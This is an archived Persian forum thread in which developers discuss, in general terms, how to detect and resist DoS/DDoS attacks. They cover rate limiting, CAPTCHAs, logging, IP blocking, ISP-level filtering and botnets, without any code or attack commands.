روشهای شناسایی و مقابله با حملات DOS/DDOS [بایگانی]

eshpilen

یک شنبه 24 فروردین 1393, 12:44 عصر

بیخود دلتون رو صابون نزنید؛ نمیخوام راه حلهای جالب و قطعی معرفی کنم، بلکه تازه میخوایم یخورده روی این موضوع همفکری کنیم و اینکه کسی تجربه و اطلاعات بیشتری اگر داره مطرح کنه.

بنظر بنده جلوگیری از حملات DDOS از دید برنامه نویسی یکی از مبهم ترین و ناخوشایندترین کارهاست. یجورایی شبیه بیماری صعب العلاج میمونه یا حتی لاعلاج که درمان راحت و قطعی نداره. بخصوص در حمله های DDOS بزرگ که از IP های زیادی، حجم عظیمی داده های آشغال به سرور شما ارسال میشن.

فکر کنید وقتی با ترافیک چند گیگابایت بر ثانیه به سایتی حمله بشه، برنامه نویس چکار میتونه بکنه؟ اصلا کل اون سرور هم احتمالا نمیتونه کاری بکنه.
مثل این میمونه که یک کامیون و یک وانت شاخ به شاخ بشن و هرکدام بخوان دیگری رو به عقب هل بدن. معلومه که به احتمال خیلی زیاد اونی که وزنش بیشتره، لاستیکش گنده تره، زورش زیادتره، پیروز میشه!
البته سایتهای معمولی که با ترافیک خیلی کمتر از این از پا درمیان.
حمله های گیگابایتی به سرورهای قدرتمند شرکتهای بزرگ صورت گرفتن.

بعضیا DDOS رو خوب درک نکردن و فکر میکنن که برنامه نویس عادی در سطح اپلیکیشن و سایت وب خودش میتونه و باید اون رو هندل کنه؛ اما اینطوری نیست! یعنی همیشه اینطوری نیست. بعضی وقتا هست، بعضی وقتا نیست، بعضی وقتا میشه، بعضی وقتا نمیشه. بخاطر اینکه حملات DDOS از نظر قدرت و نوع انواع متعددی دارن و تشخیص و جلوگیری همزمان تمام اونا بسیار دشوار و پیچیده است و خیلی مواردش اصلا در سطح اپلیکیشن های عادی وب نیستن.
خیلی حمله های DDOS هست که در همون قدمهای اول، یعنی قبل از اینکه نوبت بخواد به برنامهء شما برسه و قدرت پردازش و پهنای باند کافی برای سرور باقی مونده باشه که بخواد در اختیار برنامهء شما قرار بگیره و برنامهء شما بتونه با تصمیم و عکس العمل خودش در این زمینه موثر باشه، بخشهای پایه ای تری رو از کار میندازن. در اینطور موارد در سطح برنامه های عادی نمیشه کار خاصی کرد، و باید راهکارها در سطوح دیگر و اساسی تر و لایه های دیگری پیاده بشن.

بطور مثال با حمله های DDOS میشه روترهایی رو که در مسیر ارتباط سرور شما با دنیای خارج قرار دارن از کار انداخت. اگر ترافیک از این مرحله عبور کنه و به سرور برسه، باز قبل از برنامه های شما بعضی بخشها و سرویسهای پایه ای (منجمله خود سیستم عامل) وجود دارن که ممکنه از کار بیافتن و نوبت هیچوقت به برنامهء شما نرسه که بخواد کاری بکنه یا نکنه. در آخرین قدم ها ممکنه ترافیک به نرم افزار وب سرور (مثل آپاچی) برسه، و اگر حمله نتونه سرور رو در این لایه از کار بندازه، نهایت به برنامهء شما میرسه که اونوقت بستگی به برنامهء شما و داشتن و نداشتن تمهیدات در این زمینه و شدت و نوع حملهء DDOS داره که حمله موفق به از کار انداختن کارکرد عادی برنامهء شما برای کاربران دیگر بشه یا نه. بهرحال نباید فکر کرد که در تمام موارد میشه جلوی این حمله رو 100% گرفت، بلکه فقط میشه استقامت رو تا جای ممکن بیشتر کرد که برای از کار افتادن سایت نیاز به حمله های DDOS بزرگتری باشه و امیدوار بود که حمله کننده منابع لازم برای چنین حملهء بزرگی رو در اختیار نداشته باشه یا اینکه انگیزهء کافی برای اختصاص این همه منابع برای حمله به سایت شما نداشته باشه و بنظرش صرف نکنه.

تشخیص و بخصوص جلوگیری از DDOS کار مشکل و آزاردهنده ای است، بخاطر اینکه اولا که باید درخواستهای جعلی رو از درخواستهای عادی تشخیص داد که این میتونه دشوار و غیرمطمئن باشه، و دوما اینکه جلوی یک نیروی حیوانی رو خیلی وقتا فقط میشه با نیروی حیوانی قوی تری گرفت، یعنی قدرت بیشتر (قدرت پردازشی و پهنای باند)، و سوما اینکه خود تشخیص و جلوگیری از این درخواستها نیاز به منابع پردازشی و پهنای باند کافی داره که برنامه و سرور شما بهش نیاز داره اما حمله کننده بهش نیازی نداره، چهارما اینکه خیلی از مکانیزم های امنیتی مهم و پیشرفته، مثل هش پسورد، تولید کپچا، رمزنگاری، و غیره که برای تامین امنیت دربرابر انواع حمله های دیگری غیر از DDOS نیاز هستن خودشون پردازش و زمان قابل توجهی رو مصرف میکنن که این باعث کاهش استقامت در برابر حمله های DDOS میشه؛ یعنی شما اگر بخواید به DDOS اولویت بدید و دربرابرش حداکثر استقامت رو بدست بیارید، نیاز دارید که برنامه رو تا حداکثر ممکنه بهینه کنید که هیچ، تازه بیاید و از امنیت در یکسری بخشهای دیگر هم بزنید که برنامه سبک و سریع بشه، که البته بنده این رو توصیه نمیکنم (طبیعتا چون امنیت برنامه دربرابر حمله های دیگر پایین میاد) مگر در مواردی که واقعا مجبور باشید و جلوگیری از حمله های DDOS در اولویت باشن، پنجما اینکه حتی همون کدهایی که برای تشخیص و جلوگیری از DDOS مینویسید هم باعث سنگین تر شدن و کندتر شدن برنامه میشن که این میتونه به نفع هکر تموم بشه (البته مسلما در جای خودش وقتی درست طراحی و پیاده سازی بشه میتونه حداقل دربرابر انواع مشخصی از حمله های DDOS به صرفه باشه و خیلی بیشتر از چیزی که خودش پردازش مصرف میکنه جلوی حمله و بار پردازشی ناشی از حملات رو بگیره).

abolfazl-z

یک شنبه 24 فروردین 1393, 22:39 عصر

من زیاد در زمینه شبکه تخصص ندارم ولی یک سوال ؟

حمله کننده ها میان با IP تقلبی ترافیک ایجاد می کنند ؟

eshpilen

دوشنبه 25 فروردین 1393, 08:04 صبح

همونطور که اشاره شد، حملات DOS/DDOS انواع متنوعی دارن و هرکدام هدفشون حمله به یک یا چند سخت افزار/نرم افزار/مکانیزم مختلف است. بله جعل IP هم در خیلی موارد صورت میگیره اما در بعضی موارد هم ممکنه صورت نگیره یا اصلا نشه؛ بستگی به نوع حمله و مکانیزم هدف داره و انگیزه و وقت و امکانات/سواد حمله کننده که IP کلاینت جعلی باشه یا نه. نمیشه در چند خط حرف کلی و مطمئنی زد در این مورد.
البته اگر بحث رو فقط به لایهء اپلیکیشن (سطحی که ما برنامه نویسان سایت و اپلیکیشن های وب درش کار میکنیم) محدود کنیم، اونوقت بنظرم محدودهء بحث میتونه خیلی کوچکتر و دقیقتر و ساده تر بشه.

abolfazl-z

دوشنبه 25 فروردین 1393, 15:03 عصر

saeedvir

دوشنبه 25 فروردین 1393, 20:19 عصر

Firewall سخت افزاری بهترین گزینه است (نه 100 درصد)

eshpilen

سه شنبه 26 فروردین 1393, 11:26 صبح

خوب نمیشه مثلا قبل از اینکه درخواست ها به سیستم قربانی برسد جلوی ان را گرفت ؟

مثلا وظیفه ISP نیست ؟

یا یک چیزی مثل firewall جهانی یا چیزی توی همین مایه ها وجود ندارد ؟

چرا ISP ها هم میتونن یه کارهایی بکنن و بعضا میکنن. ولی ظاهرا در این زمینه وحدت رویه و استاندارد و قانون های جامع و دقیقی وجود ندارن و یک ISP ممکنه جلوی یکسری چیزهایی رو به یکسری روشهایی تا حدی بگیره و یک ISP دیگر ممکنه تفاوت بکنه در اینکه جلوی چی رو چطوری و تا چه حدی میگیره یا اصلا شاید تقریبا هیچ کاری نکنه. بهرحال تشخیص و جلوگیری از این همه انواع حمله از لحاظ فنی کار ساده و کم هزینه ای هم نباید باشه. خیلی وقتا هم اگر زیادی بخواد حساسیت و جامعیت در این زمینه اعمال بشه میتونه خودش منجر به مشکلات فنی برای کاربران بشه و مسدود شدن بعضی ارتباطهای مورد نیاز و تشخیص اشتباه و این حرفا. در تمام موارد هم نمیشه براحتی ترافیک خطرناک رو از ترافیک عادی تشخیص داد. در بعضی موارد که تقریبا غیرممکن میشه (اگر ISP به تنهایی و بخصوص بصورت خودکار بخواد این کار رو بکنه).

راستی در صحبت قبلی گفتم آدرس IP فرستنده میتونه جعلی باشه؛ این رو درمورد بعضی انواع حمله های DDOS گفتم؛ وگرنه اگر بحث در سطح HTTP و برنامه نویسی PHP باشه، IP کلاینت نمیتونه جعلی باشه (ولی بهرحال هکر ممکنه از پراکسی و رایانه زامبی یا Botnet استفاده کرده باشه).

metal gear solid 4

سه شنبه 26 فروردین 1393, 16:23 عصر

سلام
به نظر من راه های اساسی در سطح PHP میتونه اینا باشه:
1- در گام اول. تشخیص تعداد درخواست های یک آیپی. هر آیپی که باشه. معتبر یا غیر معتبر و محدود کردن تعداد درخواست ها ( مثلاً 10 تا در ثانیه. ) هیچ انسانی نمیتونه 10 درخواست در ثانیه به سرور بفرسته.
2- داشتن کپچا یا سوال امنیتی تا بتونید انسان رو از ربات تشخیص بدید.
3- گرفتن لاگ از تمامی درخواست های ارسال شده به سمت سرور.

eshpilen

سه شنبه 26 فروردین 1393, 20:29 عصر

1- در گام اول. تشخیص تعداد درخواست های یک آیپی. هر آیپی که باشه. معتبر یا غیر معتبر و محدود کردن تعداد درخواست ها ( مثلاً 10 تا در ثانیه. ) هیچ انسانی نمیتونه 10 درخواست در ثانیه به سرور بفرسته.
بعضی وقتا یه IP ممکنه بین تعداد زیادی کاربر Share شده باشه.
گویا مثلا IP اینترنت شبکهء تلفن همراه اینطوریه (مطمئن نیستم ولی جایی دیدم یه نفر اینطور گفته).
همینطور بعضی جاها و شرایط دیگه همچین چیزی ممکنه. مثلا بعلت استفادهء تعداد زیادی از کاربران از یک پراکسی مشترک بعلت خاصی یا بعضی ISP ها در بعضی کشورها شاید (بنظرم جایی چنین چیزی خونده بودم) ممکنه یک IP رو بین کاربران زیادی شیر کنن.
بعد خود این نیاز به درج و کوئری دیتابیس در هر درخواست داره بنظرم، که خودش پردازش و زمان هر درخواست رو زیاد میکنه و بنابراین ممکنه استقامت دربرابر حمله های DDOS رو کمتر هم بکنه. البته بستگی به تمام پارامترها داره. مثلا بستگی به این که پردازش عادی همون صفحه بدون این مکانیزم چقدر باشه؛ یعنی کمتر یا بیشتر از پردازش و زمان این مکانیزم.

2- داشتن کپچا یا سوال امنیتی تا بتونید انسان رو از ربات تشخیص بدید.
اینم در بعضی موارد شاید بشه استفاده کرد؛ بد نیست. البته کپچا رو که هرجا نمیشه گذاشت. دم به دم و واسه کارهای عادی که کپچا نمیذارن. در بعضی موارد هم شاید بطور عادی نذاریم ولی اگر سیستم احتمال حمله/روبات رو تشخیص داد اونوقت کپچا بخوایم.
باز اینم بستگی به پارامترهای دیگر هم داره. چون ایجاد کپچا خودش پردازش و زمان مصرف میکنه که باید دید چقدره. یوقت دیدی طرف از همون پردازش کپچا سوء استفاده کرد برای موثرتر کردن حمله!!

3- گرفتن لاگ از تمامی درخواست های ارسال شده به سمت سرور.
یعنی واسه خودمون که بعدا بررسی کنیم ببینیم چی شده؟

------------------------------

بنظرم تا اینجا متوجه میشیم که راه حل کلی و مطلقی برای جلوگیری از حمله های DOS و DDOS وجود نداره. بستگی به سایت و برنامش و تمام پارامترهاش داره که راه حل دقیقا چی باشه و چقدر بتونه موثر باشه و اصلا بشه در سطح اپلیکیشن دفاع کرد یا نه (ممکنه نیاز به استفاده از راه حل در لایه های دیگری باشه). بنظرم صرف نمیکنه و عاقلانه نیست که همینطور از اول بخوایم از خودمون در این زمینه سیستمهای گسترده و پیچیده ای رو طراحی و پیاده سازی کنیم، و بهتره منتظر باشیم (اولا دعا کنیم که حمله ای رخ نده) تا حمله رخ بده و بعد بررسیش کنیم ببینیم از چه نوعی و چه شدتی هست و بعد روی راه حلش فکر کنیم و طراحی و پیاده سازی کنیم. البته ایجاد سیستم لاگ و هشدار رفتارهای مشکوک برای این منظور لازمه که بتونیم به موقع آگاه بشیم و اطلاعات کافی برای تشخیص نوع/مکانیزم و شدت حمله و عکس العمل مناسب و به موقع رو داشته باشیم (ولی جلوگیری پیشاپیش فکر نمیکنم عملی/عاقلانه باشه هم بخاطر احتمال خطاش و هم بخاطر هزینه هاش (ممکنه اون نوع/شدت حمله ها هیچوقت رخ ندن) و هم بخاطر اینکه احتمال اینکه در عمل موثر نباشه یا حتی در مواردی باعث تشدید اثر حمله بشه چندان کم نیست).

حالا راجع به یه نوع سیستمهای پیشرفته ای هم که با این موضوع ارتباط دارن چیزایی میدونم که فکر میکنم بعدا سرفرصت مطرح کنم :لبخند:

این ایده ها و روشهایی که شما مطرح کردید میره توی جعبه ابزار ما. اونایی هم که بنده بعدا میگم باز میرن توی جعبه ابزار. بعد دیگه بستگی داره که در هر موردی تشخیص بدیم از کدوم میشه/بهتر/صرف میکنه استفاده کنیم. میشه از ترکیبی از چندتاشون هم استفاده کرد یا بصورت لایه ای و سطح به سطح بسته به نوع/شدت حمله و احتمالا فیدبک خود سیستم (که نشون میده جلوی یک حمله تا چه حد گرفته شده یا نه).

metal gear solid 4

سه شنبه 26 فروردین 1393, 20:43 عصر

بعضی وقتا یه IP ممکنه بین تعداد زیادی کاربر Share شده باشه.
گویا مثلا IP اینترنت شبکهء تلفن همراه اینطوریه (مطمئن نیستم ولی جایی دیدم یه نفر اینطور گفته).
همینطور بعضی جاها و شرایط دیگه همچین چیزی ممکنه. مثلا بعلت استفادهء تعداد زیادی از کاربران از یک پراکسی مشترک بعلت خاصی یا بعضی ISP ها در بعضی کشورها شاید (بنظرم جایی چنین چیزی خونده بودم) ممکنه یک IP رو بین کاربران زیادی شیر کنن.
بعد خود این نیاز به درج و کوئری دیتابیس در هر درخواست داره بنظرم، که خودش پردازش و زمان هر درخواست رو زیاد میکنه و بنابراین ممکنه استقامت دربرابر حمله های DDOS رو کمتر هم بکنه. البته بستگی به تمام پارامترها داره. مثلا بستگی به این که پردازش عادی همون صفحه بدون این مکانیزم چقدر باشه؛ یعنی کمتر یا بیشتر از پردازش و زمان این مکانیزم.

اینم در بعضی موارد شاید بشه استفاده کرد؛ بد نیست. البته کپچا رو که هرجا نمیشه گذاشت. دم به دم و واسه کارهای عادی که کپچا نمیذارن. در بعضی موارد هم شاید بطور عادی نذاریم ولی اگر سیستم احتمال حمله/روبات رو تشخیص داد اونوقت کپچا بخوایم.
باز اینم بستگی به پارامترهای دیگر هم داره. چون ایجاد کپچا خودش پردازش و زمان مصرف میکنه که باید دید چقدره. یوقت دیدی طرف از همون پردازش کپچا سوء استفاده کرد برای موثرتر کردن حمله!!

یعنی واسه خودمون که بعدا بررسی کنیم ببینیم چی شده؟

------------------------------

بنظرم تا اینجا متوجه میشیم که راه حل کلی و مطلقی برای جلوگیری از حمله های DOS و DDOS وجود نداره. بستگی به سایت و برنامش و تمام پارامترهاش داره که راه حل دقیقا چی باشه و چقدر بتونه موثر باشه و اصلا بشه در سطح اپلیکیشن دفاع کرد یا نه (ممکنه نیاز به استفاده از راه حل در لایه های دیگری باشه). بنظرم صرف نمیکنه و عاقلانه نیست که همینطور از اول بخوایم از خودمون در این زمینه سیستمهای گسترده و پیچیده ای رو طراحی و پیاده سازی کنیم، و بهتره منتظر باشیم (اولا دعا کنیم که حمله ای رخ نده) تا حمله رخ بده و بعد بررسیش کنیم ببینیم از چه نوعی و چه شدتی هست و بعد روی راه حلش فکر کنیم و طراحی و پیاده سازی کنیم. البته ایجاد سیستم لاگ و هشدار رفتارهای مشکوک برای این منظور لازمه که بتونیم به موقع آگاه بشیم و اطلاعات کافی برای تشخیص نوع/مکانیزم و شدت حمله و عکس العمل مناسب و به موقع رو داشته باشیم (ولی جلوگیری پیشاپیش فکر نمیکنم عملی/عاقلانه باشه هم بخاطر احتمال خطاش و هم بخاطر هزینه هاش (ممکنه اون نوع/شدت حمله ها هیچوقت رخ ندن) و هم بخاطر اینکه احتمال اینکه در عمل موثر نباشه یا حتی در مواردی باعث تشدید اثر حمله بشه چندان کم نیست).

حالا راجع به یه نوع سیستمهای پیشرفته ای هم که با این موضوع ارتباط دارن چیزایی میدونم که فکر میکنم بعدا سرفرصت مطرح کنم :لبخند:

این ایده ها و روشهایی که شما مطرح کردید میره توی جعبه ابزار ما. اونایی هم که بنده بعدا میگم باز میرن توی جعبه ابزار. بعد دیگه بستگی داره که در هر موردی تشخیص بدیم از کدوم میشه/بهتر/صرف میکنه استفاده کنیم. میشه از ترکیبی از چندتاشون هم استفاده کرد یا بصورت لایه ای و سطح به سطح بسته به نوع/شدت حمله و احتمالا فیدبک خود سیستم (که نشون میده جلوی یک حمله تا چه حد گرفته شده یا نه).

یکی از نگرانی های من در زمینه ی امنیت همیشه از جناح این حملات بوده و هست. خوشحال میشیم اگر اطلاعات خوبی در این زمینه دارید به اشتراک بگذارید.

راجع به آیپی نظر خاصی ندارم. اطلاعات شبکه ای من در این زمینه کافی نیست.
در زمینه ی کپچا، آره برای هر قسمتی نمیشه کپچا گذاشت اما حداقل میشه برای کارهای خاص اینکارو انجام داد. مثل لاگین یا ثبت نام. خب طبیعتاً یک کاربر لاگین شده امکانات بیشتری نسبت به مهمان ها داره و با همین کپچاها حداقل امنیت رو رعایت کردیم. خودتون هم اشاره کردید که جلوی این حملات رو نمیشه 100 در 100 گرفت. دیگه چه برسه با استفاده از PHP بخاد صورت بگیره. ضمن اینکه من نظرم همیشه بر این بوده که برای بازدهی و performance بهتر، برای کارهایی مثل کپچا یا queue ها از سرویس هایی که در سطح وب ارائه میشه استفاده کرد. مثلاً برای کپچا از سیستم کپجای گوگل بهره ببریم. هم پردازش سرور ما کمتر میشه هم امنیت کپجا بالاتر از چیزیه که خودمون ایجاد میکنیم.
سیستم لاگ گیری هم به همین دلیل گفتم که بعد از حمله بشه اطلاعاتی راجع به نوع حملات و شدتش به دست بیاریم. ممکنه لاگ فایل هامون شامل میلیون ها لاگ باشه و این میتونه کمک شایانی در جلوگیری یا بهتر عمل کردن در دفعات بعدی باشه!!

abolfazl-z

سه شنبه 26 فروردین 1393, 21:26 عصر

چرا ISP ها هم میتونن یه کارهایی بکنن و بعضا میکنن. ولی ظاهرا در این زمینه وحدت رویه و استاندارد و قانون های جامع و دقیقی وجود ندارن و یک ISP ممکنه جلوی یکسری چیزهایی رو به یکسری روشهایی تا حدی بگیره و یک ISP دیگر ممکنه تفاوت بکنه در اینکه جلوی چی رو چطوری و تا چه حدی میگیره یا اصلا شاید تقریبا هیچ کاری نکنه. بهرحال تشخیص و جلوگیری از این همه انواع حمله از لحاظ فنی کار ساده و کم هزینه ای هم نباید باشه. خیلی وقتا هم اگر زیادی بخواد حساسیت و جامعیت در این زمینه اعمال بشه میتونه خودش منجر به مشکلات فنی برای کاربران بشه و مسدود شدن بعضی ارتباطهای مورد نیاز و تشخیص اشتباه و این حرفا. در تمام موارد هم نمیشه براحتی ترافیک خطرناک رو از ترافیک عادی تشخیص داد. در بعضی موارد که تقریبا غیرممکن میشه (اگر ISP به تنهایی و بخصوص بصورت خودکار بخواد این کار رو بکنه).

راستی در صحبت قبلی گفتم آدرس IP فرستنده میتونه جعلی باشه؛ این رو درمورد بعضی انواع حمله های DDOS گفتم؛ وگرنه اگر بحث در سطح HTTP و برنامه نویسی PHP باشه، IP کلاینت نمیتونه جعلی باشه (ولی بهرحال هکر ممکنه از پراکسی و رایانه زامبی یا Botnet استفاده کرده باشه).

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !

البته همانطور که گفتم دانش من زیاد نیست ولی همانطور که معلوم هست میشه یه طوری جلوشو گرفت.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.

eshpilen

چهارشنبه 27 فروردین 1393, 09:29 صبح

یکی از نگرانی های من در زمینه ی امنیت همیشه از جناح این حملات بوده و هست. خوشحال میشیم اگر اطلاعات خوبی در این زمینه دارید به اشتراک بگذارید.
نگران بودی ولی تاحالا سرت نیامده؟
خب منم همین رو میگم که بخاطر یک نگرانی نباید از قبلش اینقدر دستپاچه شد و همینطوری روی هوا کلی سیستم و مکانیزم پیاده کرد که معلوم نیست در عمل اصلا به دردی بخورن.
البته مکانیزم لاگ و تشخیص و هشدار رو باید گذاشت. در کنارش یه مکانیزم کلی هم میتونیم بذاریم بطور مثال بصورت بلاک کردن IP های خاص و محدوده IP های خاص، یا حتی امکان استفاده از لیست سفید رو هم بذاریم (فقط IP های مشخص شده مجاز به دسترسی باشن). اینطوری موقعی که حمله ای رخ بده احتمالش زیاده که بشه از این سیستم برای مقابلهء سریع درمقابلش استفادهء موثری کرد. البته این سیستم بصورت دستی هست دیگه، چون پیاده سازی انواع خودکارش دشوارتر و پیچیده تره و زیاد هم نمیشه به موثر بودنش مطمئن بود یا اینکه خودش موجب مشکلی نشه. ضمنا بنظرم در این سیستم بلاک IP باید این امکان رو بذاریم که بتونیم تعداد زیادی IP رو از طریق فایلی چیزی به سرعت وارد کنیم، چون ممکنه تعداد IP های حمله کننده زیاد باشه که دستی وارد کردن اونا دشوار و زمانبر باشه.

در زمینه ی کپچا، آره برای هر قسمتی نمیشه کپچا گذاشت اما حداقل میشه برای کارهای خاص اینکارو انجام داد. مثل لاگین یا ثبت نام. خب طبیعتاً یک کاربر لاگین شده امکانات بیشتری نسبت به مهمان ها داره و با همین کپچاها حداقل امنیت رو رعایت کردیم.
البته فکر نمیکنم گذاشتن کپچا بطور پیشفرض کار عاقلانه ای باشه (از نظر یوزرفرندلی). میتونیم بصورت پیشفرض غیرفعال بذاریم و موقعی که حمله شد فعال بشه (حالا یا بصورت خودکار یا بصورت دستی).
البته کپچا برای جلوگیری از استفاده از روباتهای دیگر هم هست.

برای بازدهی و performance بهتر، برای کارهایی مثل کپچا یا queue ها از سرویس هایی که در سطح وب ارائه میشه استفاده کرد. مثلاً برای کپچا از سیستم کپجای گوگل بهره ببریم. هم پردازش سرور ما کمتر میشه هم امنیت کپجا بالاتر از چیزیه که خودمون ایجاد میکنیم.
من زیاد از این توزیع شدن بین اجزایی که تحت کنترل و مالکیت خودمون نیستن خوشم نمیاد. هم از نظر فنی این باعث افزایش نقاط شکننده در برنامه میشه و هم از نظر سیاسی و وابستگی و اینا خب جالب نیست. مثلا حساب کنید در شرایطی ممکنه ما رو تحریم کنن و اونوقت این سیستم از کار میفته، از اینور ممکنه سایت یا سرویسهای گوگل بصورت عمدی یا حتی تصادفی و غیرعمدی فیلتر بشن و باز سیستم از کار میفته، بعد بهرحال هرکس که توی سایت شما میره آمارش به سرورهای گوگل هم ارسال میشه و در اینترنت دور شمسی قمری میزنه این اطلاعات و این باعث کاهش قابل توجه سطح Privacy و امنیت میشه، اگر مشکل فنی در هرکجای سرورهای اونا یا مسیر ارتباطی تا شما پیش بیان شما هم تحت تاثیر قرار میگیرید، اگر مشکل امنیتی براشون پیش بیاد بازم همینطور، خیلی وقتا هم دیدم که استفاده از سرویسهای خارجی ممکنه باعث کندی و وقفه بشه، ... . خلاصه این استفاده از سرویسهای خارجی پارامترهای رو گسترده و پیچیده میکنه و وابستگی و کاهش اطمینان ایجاد میکنه، که من شخصا خوشم نیامده تاحالا و ترجیح میدم تاجاییکه میتونم این کار رو نکنم؛ هرچند شاید در نهایت و حداقل در بعضی موارد، چارهء دیگری نباشه و مجبور باشیم به این کار/مزایاش از معایبش بیشتر باشه.

سیستم لاگ گیری هم به همین دلیل گفتم که بعد از حمله بشه اطلاعاتی راجع به نوع حملات و شدتش به دست بیاریم. ممکنه لاگ فایل هامون شامل میلیون ها لاگ باشه و این میتونه کمک شایانی در جلوگیری یا بهتر عمل کردن در دفعات بعدی باشه!!

شاید باید مواظب باشیم و محدودیتی روی حجم اطلاعات لاگ هم بذاریم، چون ممکنه ما به موقع متوجه نشیم و همین اطلاعات فضای در دسترس سایت رو پر کنن و اینطوری باز مشکل پیش بیاد. اصلا یکی از روشهای حمله های داس همینه که میان و فضای در دسترس دیتابیس یا سایت رو پر میکنن و اینطوری کارکرد سایت یا بخشی از اون کند یا متوقف میشه. هرچند شاید امروزه روز این روش دیگه زیاد موثر و معمول نباشه (بخاطر افزایش چشمگیر فضای ذخیره سازی).

omidabedi

چهارشنبه 27 فروردین 1393, 11:24 صبح

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !

البته همانطور که گفتم دانش من زیاد نیست ولی همانطور که معلوم هست میشه یه طوری جلوشو گرفت.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.

حملات DDOS که کاربر عادی نمیاد از رو سیستم خودش attack کنه که

حملات DDOS نیازمند چندین سرور قدرتمند هست که در یک زمان حجم بالایی از درخواست هارو به سرور هدف بفرستند

این سرورها ماله دیتاسنترهای مختلف هستند که هرکدومشون ترافیک و پهنای بانده بالایی رو رد و بدل میکنن پس ISP نمیتونه براحتی متوجه بشه

که ترافیک های این دیتاسنتر اهداف خرابکارانه دارن

برای ip هم یک سرور میتونه هر درخواست رو از یک proxy بفرسته اینجوری شما درخواست هاتونو به سرور proxy میدید و اون به هدف ارسال میکنه

همونطور که اقای eshpilen گفتن حملات DDOS مختلف هستن

اقای eshpilen درباره ی نوع های مختلفش هم توضیح بدید

nrp man

چهارشنبه 27 فروردین 1393, 11:51 صبح

اخیرا NCCIC یک quick guide منتشر کرد که به شرح مختصری درباره انواع حملات تکذیب سرویس و روشهای مقابله با آن پرداخته است.برای دریافت به این لینک (http://bayanbox.ir/id/6214759001732673500?info) مراجعه کنید.

metal gear solid 4

چهارشنبه 27 فروردین 1393, 12:13 عصر

حملات DDOS که کاربر عادی نمیاد از رو سیستم خودش attack کنه که

حملات DDOS نیازمند چندین سرور قدرتمند هست که در یک زمان حجم بالایی از درخواست هارو به سرور هدف بفرستند

این سرورها ماله دیتاسنترهای مختلف هستند که هرکدومشون ترافیک و پهنای بانده بالایی رو رد و بدل میکنن پس ISP نمیتونه براحتی متوجه بشه

که ترافیک های این دیتاسنتر اهداف خرابکارانه دارن

برای ip هم یک سرور میتونه هر درخواست رو از یک proxy بفرسته اینجوری شما درخواست هاتونو به سرور proxy میدید و اون به هدف ارسال میکنه

همونطور که اقای eshpilen گفتن حملات DDOS مختلف هستن

اقای eshpilen درباره ی نوع های مختلفش هم توضیح بدید

البته این امکان هست که از طریق سیستم های کاربران معمولی هم حملات صورت بگیره. یک تیم یا حتی یک شخص میتونه بدافزاری رو روی سیستم های افراد و کاربران عادی دیگه نصب کنه که طی یک زمان خاص در صورتی که به اینترنت دسترسی داشتند اجرا بشن و درخواست های زیادی رو به یک سرور ارسال کنند. به این روش مجموع تمامی این درخواست ها از کابران عادی در یک زمان خاص یک حمله ی DDOS رو تشکیل میده.

eshpilen

چهارشنبه 27 فروردین 1393, 12:20 عصر

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !
درسته ولی حالا کی گفته در حمله های داس حتما حجم درخواست غیرعادیه؟

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !
بخونی چکار کنی مثلا؟
چطوری از کجاش بصورت خودکار میشه تشخیص داد که حمله است؟
اومدیم و هکر داده ها رو بصورت هوشمندتر و طوری که بنظر نرمال بیاد ارسال کرد.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟
البته اگر در سطح PHP صحبت کنیم، IP نمیتونه تقلبی باشه. البته بسته به اینکه منظورت از تقلبی دقیقا چی باشه!

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟
چطوری مثلا؟ حجم POST رو چک میکنی؟ حجم تمام متغییرهای پست شده رو جمع میزنی اگر از یک مقداری بیشتر بود؟ همینطور بنظرم متغییرهای get رو هم باید چک کنی. همینطور آپلود فایل احتمالی.

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.
آره این ایدهء خوبیه که براحتی بلاک کامل و دائمی نشه بصورت خودکار.

eshpilen

چهارشنبه 27 فروردین 1393, 12:27 عصر

البته این امکان هست که از طریق سیستم های کاربران معمولی هم حملات صورت بگیره. یک تیم یا حتی یک شخص میتونه بدافزاری رو روی سیستم های افراد و کاربران عادی دیگه نصب کنه که طی یک زمان خاص در صورتی که به اینترنت دسترسی داشتند اجرا بشن و درخواست های زیادی رو به یک سرور ارسال کنند. به این روش مجموع تمامی این درخواست ها از کابران عادی در یک زمان خاص یک حمله ی DDOS رو تشکیل میده.
بله به مجموع تعداد زیادی از این کامپیوترهای به اصطلاح زامبی میگن Botnet (http://en.wikipedia.org/wiki/Botnet).
بین معروفاش از چند صدتاییش داره تا چند میلیون رایانهء آلوده.
البته تمام این رایانه ها و Botnet ها لزوما از نوع زامبی (رایانهء یک شخص دیگر که بدون اطلاعش روش نرم افزار هکر نصب شده) نیستن. توشون ممکنه بعضی سرورها هم باشن (طبیعتا هرچی اون رایانه قویتر باشه و اتصال اینترنت دائمی و قوی تری داشته باشه ارزش بیشتری داره)؛ حالا یا از نوع زامبی یا مال خود هکرهاست.

abolfazl-z

چهارشنبه 27 فروردین 1393, 20:12 عصر

درسته ولی حالا کی گفته در حمله های داس حتما حجم درخواست غیرعادیه؟

بخونی چکار کنی مثلا؟
چطوری از کجاش بصورت خودکار میشه تشخیص داد که حمله است؟
